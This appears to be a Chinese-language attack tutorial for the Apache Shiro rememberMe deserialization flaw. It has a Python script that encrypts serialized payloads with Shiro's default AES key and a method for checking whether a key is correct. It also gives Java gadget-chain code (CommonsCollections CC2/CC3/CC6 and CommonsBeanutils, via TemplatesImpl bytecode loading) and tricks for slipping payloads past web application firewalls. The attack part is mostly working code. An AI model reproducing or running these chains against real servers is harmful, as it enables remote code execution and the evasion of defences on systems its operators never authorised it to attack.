原理
获取Cookie中rememberMe的值 · 对rememberMe进行Base64解码 · 使用AES进行解密 · 对解密的值进行反序列化 这样的话攻击者就可以通过构造一个恶意的payload序列化之后 然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。
Shiro Key检测
当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。
这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
serialie(simplePrincipalCollection);
URLDNS链
首先进行序列化之后 进行AES加密 然后Base64进行编码
import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可
Shiro CC链
需要注意的是Shiro打CC链的话,你的POC中不能出现Transformer数组,因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"12312");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Base64.getDecoder().decode("xxxx");
bytecodes.set(templates,new byte[][]{code});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
HashMap map = new HashMap();
Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates);
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
decorate.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,transformer);
serialie(map2);
Shiro绕过思路
绕过WAF
利用NSLOOKUP对域名进行解析,如果对域名加了WAF,我们可以修改hosts文件绑定域名进行攻击。
将请求方式删除掉,比如GET或者POST。
给rememberMe字段中添加$符号,因为在Shiro AES解密之前需要先对该字段进行BASE64解码,而在解码方法中有一个discardNonBase64方法,这个方法是去除非BASE64的字符。
Shiro CB链
PriorityQueue
PriorityQueue
PriorityQueue
PriorityQueue
BeanComparator
PropertyUtils
TemplatesImpl
TemplatesImpl
TransletClassLoader
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"12312");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Base64.getDecoder().decode("xxx");
bytecodes.set(templates,new byte[][]{code});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field field = priorityQueueClass.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,beanComparator);
serialie(priorityQueue);
unserialie("ser2.bin");